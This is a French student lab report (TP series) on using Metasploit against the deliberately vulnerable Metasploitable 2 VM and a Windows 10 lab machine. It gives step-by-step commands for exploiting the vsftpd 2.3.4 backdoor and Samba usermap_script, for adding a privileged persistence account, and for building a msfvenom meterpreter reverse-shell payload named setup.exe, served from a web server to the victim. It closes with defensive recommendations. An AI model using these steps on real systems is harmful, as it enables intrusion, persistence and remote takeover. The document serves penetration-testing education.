Vous êtes sur la page 1sur 29

École Centrale des Logiciels Libres et de Télécommunications

Institut Supérieur de Technologie de l'Université de Bangui (IST/UB)

Exploitation de failles de sécurité avec le framework


Métasploit
Présenté par : Sous la supervision :
Mbaye Ndiaye SAMB Pr. SAMUEL OUYA
Mame Fara DIOP
SOMMAIRE
TP1 : Les outils à utiliser ....................................................................................... 1
I. Métasploit ......................................................................................................................... 1
1. Définition Métasploit..................................................................................................... 1
2. Les principales fonctionnalités de Metasploit :............................................................... 1
3. Modules du framework Metasploit ................................................................................ 2
4. Composants du framework Metasploit ........................................................................... 3
5. Installation de metasploit Sous Windows ....................................................................... 4
6. Installation de métasploit Sous ubuntu 20 ...................................................................... 8
II. Machine virtuelle vulnérable (Metasploitable 2") ............................................................ 10
1. Métasploitable 2 .......................................................................................................... 10
2. Installation de métasploitable 2 sous virtualbox ........................................................... 11
TP2 : exploitation des failles du service FTP ....................................................... 13
I. Objectifs ......................................................................................................................... 13
II. Les prérequis .................................................................................................................. 13
III. Mise en œuvre ............................................................................................................. 13
1. Scan les failles de FTP................................................................................................. 13
2. Configuration de reverse shell ..................................................................................... 14
3. Maintien l’accès persistant........................................................................................... 15
a. Création l’utilisateur mbaye ..................................................................................... 15
b. Augmentation des privilèges de l’utilisateur ............................................................. 16
c. Connexion avec SSH ............................................................................................... 16
TP3 : exploitation les failles du service SAMBA ................................................. 17
I. Objectifs ........................................................................................................................ 17
II. Mise en œuvre ............................................................................................................... 17
1. Detection des failles .................................................................................................... 17
2. Configuration de l’attaque ........................................................................................... 17
3. Démarrage de l’attaque................................................................................................ 18
TP4 : Reverse Shell sur Windows 10 ................................................................... 20
I. Objectifs : ...................................................................................................................... 20
II. Mise en oeuvre............................................................................................................... 20
1. Creation du script ........................................................................................................ 20
2. Configuration du payload ............................................................................................ 20
3. Configuration du serveur Web ..................................................................................... 22
4. Téléchargement et exécution du script sur la machine victime ..................................... 22
TP1 : Les outils à utiliser
I. Métasploit
1. Définition Métasploit
Metasploit est un outil open source très populaire utilisé pour tester la sécurité des systèmes
informatiques, notamment en simulant des attaques et des vulnérabilités. Il offre une variété de
fonctionnalités qui aident les professionnels de la sécurité à identifier les failles potentielles dans
les systèmes et les réseaux.
2. Les principales fonctionnalités de Metasploit :
Les principales fonctionnalités de Métasploit sont :
 Exploitation de vulnérabilités :
Metasploit permet aux utilisateurs de rechercher et d'exploiter des vulnérabilités connues dans les
systèmes cibles. Il dispose d'une large base de données de modules d'exploitation qui ciblent
diverses vulnérabilités logicielles.
 Post-exploitation :
Une fois qu'une cible est compromise, Metasploit offre des fonctionnalités pour accéder et
contrôler la machine compromise. Cela peut inclure l'exécution de commandes, l'exfiltration de
données, la capture d'écran, etc.
 Recherche de vulnérabilités :
Metasploit inclut des outils pour rechercher des vulnérabilités connues dans les systèmes cibles,
permettant aux chercheurs en sécurité de tester et de valider les vulnérabilités potentielles.
 Ingénierie sociale :
L'outil peut être utilisé pour créer des leurres d'ingénierie sociale, tels que des fichiers
malveillants ou des liens trompeurs, pour piéger les utilisateurs et les inciter à exécuter des
actions malveillantes.
 Tests de pénétration :
Metasploit est souvent utilisé pour effectuer des tests de pénétration sur des réseaux, des
applications et des systèmes afin d'identifier les faiblesses potentielles qui pourraient être
exploitées par des attaquants réels.
 Personnalisation des exploits :
Les utilisateurs peuvent personnaliser les exploits en fonction de leurs besoins spécifiques, ce qui
leur permet de cibler des systèmes spécifiques avec des vulnérabilités connues.
 Gestion des exploits :

1
Metasploit propose une interface de gestion centralisée pour organiser et gérer les exploits, les
payloads (charges utiles) et les données de rapport de test de sécurité.
 Intégration avec d'autres outils :
Metasploit peut être intégré à d'autres outils et plates-formes de sécurité pour créer des flux de
travail personnalisés et étendre ses fonctionnalités.
 Développement de modules personnalisés :
Les utilisateurs avancés peuvent développer leurs propres modules d'exploitation et de post-
exploitation pour cibler des vulnérabilités spécifiques ou des scénarios particuliers.
 Reporting :
L'outil propose des fonctionnalités de génération de rapports pour documenter les résultats des
tests de sécurité, ce qui facilite la communication des problèmes de sécurité aux parties
concernées.
Il est important de noter que Metasploit peut être utilisé à la fois à des fins légales, telles que la
recherche de vulnérabilités dans les systèmes pour améliorer leur sécurité, et à des fins illégales,
comme les attaques malveillantes. L'utilisation éthique de Metasploit est cruciale pour éviter de
nuire aux systèmes ou aux réseaux.
3. Modules du framework Metasploit
Comme indiqué précédemment, Metasploit peut être utilisé dans la plupart des étapes de test
d'intrusion. Les fonctionnalités de base fournies par Metasploit peuvent être résumées par
certains des modules:
 Exploitation
Exploit est le programme utilisé pour attaquer les vulnérabilités de la cible. Il existe une grande
base de données pour les exploits sur Metasploit Framework. Vous pouvez rechercher les
exploits dans la base de données et voir les informations sur leur fonctionnement, l'heure à
laquelle ils ont été découverts, leur efficacité, etc.
 Charges utiles
Les charges utiles effectuent certaines tâches après l'exécution de l'exploit. Il existe différents
types de charges utiles que vous pouvez utiliser. Par exemple, vous pouvez utiliser la charge utile
du shell inversé, qui génère essentiellement un shell / terminal / cmd dans la machine victime et
se reconnecte à la machine attaquante.
Un autre exemple de charge utile serait le shell de liaison. Ce type de shell crée un port d'écoute
sur la machine victime, auquel la machine attaquante se connecte ensuite. L'avantage d'un shell
inversé par rapport au shell de liaison est que la majorité des pare-feu du système ne bloquent
généralement pas autant les connexions sortantes qu'elles ne bloquent les connexions entrantes.

2
Metasploit Framework a beaucoup d'options pour les charges utiles. Certains des plus utilisés
sont reverse shell , bind shell , meterpreter , etc.

 Auxiliaires
Ce sont les programmes qui n'exploitent pas directement un système. Ils sont plutôt conçus pour
fournir des fonctionnalités personnalisées dans Metasploit. Certains auxiliaires sont des
renifleurs, des scanners de ports, etc. Ceux-ci peuvent vous aider à analyser la machine victime à
des fins de collecte d'informations. Par exemple, si vous voyez qu'une machine victime exécute le
service ssh , mais que vous ne pouvez pas savoir quelle version de ssh elle utilise, vous pouvez
analyser le port et obtenir la version de ssh à l'aide de modules auxiliaires.
 Encodeurs
Metasploit vous offre également la possibilité d'utiliser des encodeurs qui crypteront les codes de
telle manière qu'ils deviennent obscurs pour les programmes de détection des menaces à
interpréter. Ils s'autodécrypteront et deviendront des codes originaux lorsqu'ils seront exécutés.
Cependant, les encodeurs sont limités et l'antivirus en a déjà de nombreuses signatures dans ses
bases de données. Ainsi, le simple fait d'utiliser un encodeur ne garantira pas l'évasion antivirus.
Cependant, vous pourriez contourner certains antivirus en utilisant simplement des encodeurs.
Vous devrez faire preuve de créativité et expérimenter la modification de la charge utile afin
qu'elle ne soit pas détectée.
4. Composants du framework Metasploit
Metasploit est open-source et il est écrit en Ruby. Il s'agit d'un framework extensible et vous
pouvez créer des fonctionnalités personnalisées à votre guise à l'aide de Ruby. Vous pouvez
également ajouter différents plugins. Au cœur du framework Metaslpoit, il y a quelques
composants clés :
 console msf
Il s'agit de l'interface de ligne de commande utilisée par Metasploit Framework. Il vous permet de
naviguer facilement dans toutes les bases de données Metasploit et d'utiliser les modules requis.
Il s'agit de la commande que vous avez entrée auparavant pour obtenir la console Metasploit.
 msfdb
La gestion de toutes les données peut devenir un obstacle très rapidement, c'est pourquoi
Metasploit Framework vous donne la possibilité d'utiliser la base de données PostgreSQL pour
stocker et accéder à vos données rapidement et efficacement. Par exemple, vous pouvez stocker
et organiser vos résultats d'analyse dans la base de données pour y accéder ultérieurement. Vous
pouvez consulter ce tutoriel pour en savoir plus sur cet outil - https://null-
byte.wonderhowto.com/how-to/use-metasploits-database-stay-organized-store-information-
while-hacking-0192643 /
 msfvenin

3
C'est l'outil qui imite son nom et vous aide à créer vos propres payloads (venins à injecter dans
votre machine victime). Ceci est important car votre charge utile peut être détectée comme une
menace et être supprimée par un logiciel de détection de menace tel qu'un antivirus ou un anti-
malware.
Cela se produit parce que les systèmes de détection des menaces ont déjà stocké les empreintes
digitales de nombreuses charges utiles malveillantes. Il existe plusieurs façons d'échapper à la
détection. Nous en discuterons dans la section ultérieure consacrée à msfvenom.
 Compteur
meterpreterest une charge utile avancée qui intègre de nombreuses fonctionnalités. Il
communique à l'aide de paquets cryptés. De plus, meterpreter est assez difficile à tracer et à
localiser une fois dans le système. Il peut capturer des captures d'écran, vider les hachages de mot
de passe et bien d'autres.
5. Installation de metasploit Sous Windows
Lien de téléchargement https://downloads.metasploit.com/data/releases/metasploit-latest-
windows-x64-installer.exe
Après avoir téléchargé le programme d'installation, recherchez le fichier et double-cliquez sur
l'icône du programme d'installation pour démarrer le processus d'installation. Lorsque l’écran de
configuration apparaît, cliquez sur Suivant pour continuer.

Lisez le contrat de licence et sélectionnez l' option J'accepte le contrat de licence . Cliquez
sur Suivant pour continue

4
Accédez à l'emplacement où vous souhaitez installer le framework Metasploit. Par défaut, le
framework est installé sur le C:\ Metasploit-frameworkrépertoire. Cliquez sur Suivant pour
continuer.

5
Nous allons définir le port

6
7
Démarrons du métasploit, on clique sur l’icone

Notre framework metasploit est bien installé


6. Installation de métasploit Sous ubuntu 20
Installation de metasploit
curl https://raw.githubusercontent.com/rapid7/metasploit-
omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb >
msfinstall && chmod 755 msfinstall && ./msfinstall

8
Une fois l'installation terminée, ouvrez une fenêtre de terminal et saisissez ce qui suit pour
démarrer msfconsole :
#cd /opt/metasploit-framework/bin/
#./msfconsole

Notre metasploit est bien configuré

9
II. Machine virtuelle vulnérable (Metasploitable 2")

1. Métasploitable 2
"Metasploitable 2" est une machine virtuelle (VM) délibérément vulnérable qui est conçue pour
être utilisée comme cible d'entraînement et de test dans le domaine de la sécurité informatique,
plus précisément pour la formation en test de pénétration et en utilisation de l'outil Metasploit.
Voici quelques-unes des fonctionnalités et vulnérabilités que l'on peut trouver dans
Metasploitable 2 :
Vulnérabilités et services obsolètes : Metasploitable 2 inclut délibérément des versions
obsolètes et vulnérables de nombreux logiciels et services, comme des versions anciennes
d'Apache, MySQL, SSH, FTP, etc.
Vulnérabilités connues : La VM contient un certain nombre de vulnérabilités de sécurité
connues et documentées, ce qui permet aux professionnels de la sécurité de pratiquer
l'exploitation de ces vulnérabilités à des fins éducatives.

Mises en œuvre de failles : Metasploitable 2 peut inclure des exemples spécifiques de failles de
sécurité, comme des dépassements de tampons (buffer overflows) ou des injections SQL, pour
illustrer comment de telles failles peuvent être exploitées.
Metasploit Framework pré-installé : Le Metasploit Framework, un outil puissant et populaire
pour les tests de pénétration et l'exploitation de vulnérabilités, est pré-installé dans Metasploitable
2. Cela permet aux utilisateurs d'apprendre à utiliser Metasploit en ciblant une machine
vulnérable.
Environnement de laboratoire sécurisé : Metasploitable 2 offre un environnement contrôlé où
les professionnels de la sécurité peuvent pratiquer leurs compétences sans risquer de
compromettre des systèmes réels.
Exemples d'attaques et d'exploits : La VM peut être utilisée pour mettre en pratique différentes
techniques d'attaques, telles que l'exploitation de vulnérabilités via des exploits Metasploit,
l'escalade de privilèges, l'extraction d'informations sensibles, etc.
Apprentissage de la défense : Outre l'attaque, Metasploitable 2 peut également être utilisé pour
apprendre les techniques de défense contre les attaques de sécurité. Les professionnels de la
sécurité peuvent apprendre à sécuriser les services vulnérables et à appliquer des correctifs pour
réduire les risques.
Il est important de noter que Metasploitable 2 est une VM de formation qui ne devrait être utilisée
qu'à des fins éducatives et éthiques, dans un environnement contrôlé. Son utilisation à des fins
malveillantes ou illégales est strictement déconseillée et peut avoir des conséquences légales
graves.

10
2. Installation de métasploitable 2 sous virtualbox
Vous pouvez télécharger le fichier d’installation de la machine virtuelle
http://downloads.metasploit.com/data/metasploitable/metasploitable-linux-2.0.0.zip
Après avoir décompressé le fichier, On crée une machine virtuelle sur virtualbox

On parcourt le fichier d’installation dans le dossier metasploit

11
Maintenant, on peut démarrer la machine
Le login : msfadmin
Mot de passer : msfadmin

Notre machine est installée avec succès

12
TP2 : exploitation des failles du service FTP
I. Objectifs
Exploiter les failles de vsftpd 2.3.4 pour faire du reverse shell

II. Les prérequis


 Machine virtuelle vulnérable (vsftpd 2.3.4)
 Métasploit

III. Mise en œuvre

1. Scan les failles de FTP


Nous allons commencer à analyser le port ftp de la machine Ubuntu vulnérable qui a comme
adresse 192.168.1.28/24
#nmap –p 21 192.168.1.28

La capture ci-dessus montre que le port 21 est ouvert


Nous pouvons voir le port ouvert pour ftp, pour voir les informations détaillées sur le port FTP,
utilisez la commande ci-dessous.
#nmap -sCV -A -T4 - p 21 192.168.1.28

13
La capture ci-dessus montre que la version de ftp (vsftpd 2.3.4) qui est vulnérable
2. Configuration de reverse shell
Une fois que nous avons vu les informations détaillées sur le service FTP, accédez à metasploit et
recherchez l'exploit vsftpd
#msfconsole
#search vstfpd

Maintenant, on peut utiliser le module exploit/unix/ftp/vsftpd/_234_backdoor pour prendre le


contrôle de la machine
#use exploit/unix/ftp/vsftpd/_234_backdoor

Nous allons définir l’adresse IP et le port de la machine victime


#set rhosts 192.168.1.28
#set rport 21

Vérifions les informations


#show options

14
Nous allons démarrer l’attaque par la commande suivante
#run

Maintenant, on a le contrôle de la machine, on peut taper shell


#shell

3. Maintien l’accès persistant

a. Création l’utilisateur mbaye


Pour ce faire nous allons créer un utilisateur sur la machine victime
#adduser mbaye

15
Les privilèges de l’utilisateur Mbaye

b. Augmentation des privilèges de l’utilisateur


Pour ce faire, nous allons ajouter l’utilisateur mbaye dans le groupe admin (root)
#gpasswd –a mbaye admin

c. Connexion avec SSH


Voir qu’on a déjà créé l’utilisateur Mbaye qui a tous les privilèges, on va essayer de se connecter
avec ce compte
#ssh mbaye@192.168.1.26

Maintien l’accès persistant fait référence à la pratique de maintenir un accès continu et durable à
un système informatique. Maintenant, On peut accéder à la machine sans passer par métasploit

16
TP3 : exploitation les failles du service
SAMBA
I. Objectifs
Exploiter les failles de samba 3.0.20 pour faire du reverse shell
II. Mise en œuvre

Samba est une implémentation open source du protocole SMB (Server Message Block), qui est
un protocole de partage de fichiers et d'impression utilisé principalement dans les environnements
Windows. Le but principal de Samba est de permettre aux systèmes d'exploitation non-Windows,
tels que Linux, Unix et d'autres, d'interagir de manière transparente avec les réseaux et les
partages de fichiers Windows
1. Detection des failles
Nous allons scanner les failles de ftp
#nmap -sCV -A -T4 -p 445 192.168.2.43

Après avoir scanner, nous allons les informations suivantes : la version de la machine, la version
de ftp
2. Configuration de l’attaque
Pour effectuer notre attaque il faudra utiliser un autre module accessible par le chemin
exploit/multi/samba/usermap_script qui sera à indiquer avec la commande use.

17
#use exploit/multi/samba/usermap_script
#show options

L'adresse IP de la cible distante RHOSTS doit être saisie à nouveau.


#set RHOSTS 192.168.2.43
#show options

Pour lancer l'attaque par force brute il faut à nouveau utiliser la commande run.
3. Démarrage de l’attaque
Nous allons démarrer de l’attaque par la commande suivante
#exploit

18
Activation du shell
#shell

Nous allons créer un dossier sur la machine victime


#mkdir Test_vuln
#ls

19
TP4 : Reverse Shell sur Windows 10
I. Objectifs :
Un "reverse shell" (coquille inversée) est une technique de piratage informatique où un attaquant
crée une connexion entre la machine cible (généralement un ordinateur compromis) et un système
contrôlé par l'attaquant. Cette connexion permet à l'attaquant d'exécuter des commandes à
distance sur la machine compromise, lui donnant ainsi un accès complet au système et à ses
ressources.
II. Mise en oeuvre

1. Creation du script
Nous allons créer le script par la commande suivante :
Adresse IP attaquant : 192.168.1.25
#msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.25 LPORT=4444 -f exe
-o /home/mbaye/Bureau/setup.exe

2. Configuration du payload
#use exploit/multi/handler

#search windows/meterpreter/reverse_tcp

20
#set PAYLOAD windows/meterpreter/reverse_tcp
#set LHOST 192.168.1.25
#set LPORT 4444

#show options

21
3. Configuration du serveur Web
Copie du fichier setup.exe dans /var/www/html/
#cp /home/mbaye/Bureau/setup.exe /var/www/html
#service apache2 restart
#service apache2 status

Démarrage de l’attaque

4. Téléchargement et exécution du script sur la machine victime


Pour télécharger le script, on met url suivante : 192.168.1.25/setup.exe

22
NB : Pour certaines versions de Windows, il est obligatoire d’utiliser firefox ou Edge et aussi
désactiver le parefeu (Windows defender )
Après avoir téléchargé le script on fait un double clic sur le fichier

La capture ci-dessous montre que l’attaquant s’est connecté à la machine de la victime

On va afficher les commandes qu’on peut exécuter sur la machine victime avec la commande
suivante

23
#help

Prendre le contrôle de la machine victime (visualiser tout ce qui se passe sur la machine de la
victime à partir d’un navigateur)
#screenshare

Il se peut que le navigateur ne s'ouvre pas. Dans ce cas, veuillez ouvrir un navigateur et saisir
l'URL suivante : "/home/mbaye/FFTbbupT.html".

24
Activer le shell
#shell

Recommandations :
voici quelques recommandations générales concernant la gestion des failles dans les versions des
services :

25
Maintenez à jour : Il est crucial de maintenir vos services et logiciels à jour avec les dernières
versions et correctifs de sécurité. Les fournisseurs publient régulièrement des mises à jour pour
corriger les vulnérabilités identifiées.
Surveillance des annonces de sécurité : Abonnez-vous aux listes de diffusion de sécurité et
suivez les annonces de vulnérabilités pour les services que vous utilisez. Cela vous aidera à être
informé rapidement des nouvelles failles et des correctifs disponibles.
Segmentation réseau : Si possible, segmentez votre réseau pour limiter l'exposition des services
vulnérables aux parties extérieures. Cela peut réduire les risques en cas d'exploitation réussie
d'une faille.
Mise en place de pare-feux: Utilisez des pare-feux pour contrôler les flux de données vers et
depuis vos services. Cela peut aider à bloquer les tentatives d'exploitation avant qu'elles
n'atteignent le service vulnérable.
Utilisez des solutions de détection d'intrusion: Mettez en place des systèmes de détection
d'intrusion (IDS/IPS) pour surveiller le trafic réseau et les comportements anormaux. Cela peut
aider à identifier les attaques en cours.
Formation et sensibilisation : Sensibilisez votre équipe aux bonnes pratiques de sécurité, aux
risques liés aux failles logicielles et à la manière de les gérer efficacement.
N'oubliez pas que chaque système et environnement est unique, donc les recommandations
spécifiques peuvent varier en fonction de vos besoins et de votre infrastructure.

26

Vous aimerez peut-être aussi